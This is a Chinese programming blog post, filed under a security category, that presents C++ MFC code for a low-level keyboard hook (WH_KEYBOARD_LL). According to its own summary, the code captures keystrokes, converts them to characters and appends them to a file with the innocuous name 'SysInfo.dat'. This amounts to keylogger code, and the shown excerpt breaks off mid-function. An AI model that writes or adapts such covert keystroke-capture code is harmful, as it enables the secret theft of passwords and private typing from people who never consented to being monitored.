C++ MFC 使用低级键盘钩子获取键值 (WH_KEYBOARD_LL)

最新推荐文章于 2022-06-08 14:17:12 发布

intfre

最新推荐文章于 2022-06-08 14:17:12 发布

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分类专栏：安全

本文链接：https://blog.youkuaiyun.com/nibiru_holmes/article/details/47975131

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此博客展示了如何在C++ MFC应用中使用低级键盘钩子（WH_KEYBOARD_LL）来捕获和记录按键事件。通过`LowLevelKeyboardProc`回调函数处理键盘消息，将按键转换为对应的字符并写入文件。

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<pre name="code" class="cpp">LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
	// By returning a non-zero value from the hook procedure, the
	// message does not get passed to the target window
	//KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
	PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT)lParam;


	//BOOL bControlKeyDown = 0;
	TCHAR szBuf[MAXBYTE] = { 0 };
	//HWND hWnd = GetForegroundWindow();
	ofstream outfile("D:\\SysInfo.dat", ios::app);
	/*	WCHAR szClassName[MAX_PATH] = { 0 };
	::GetClassName(hWnd, szClassName, MAX_PATH);*/
	LONG Flag = 0;
	CString csBuf;
	//csBuf.Format(_T("%d"), pkbhs->vkCode);
	//CString str((TCHAR*)lParam);
	switch (nCode)
	{
	case HC_ACTION:
	{
					  if ((WM_KEYDOWN == wParam) || (wParam == WM_SYSKEYDOWN)){
						  //  for (int i=)
						  //  CHAR * szBuf = (CHAR*)lParam;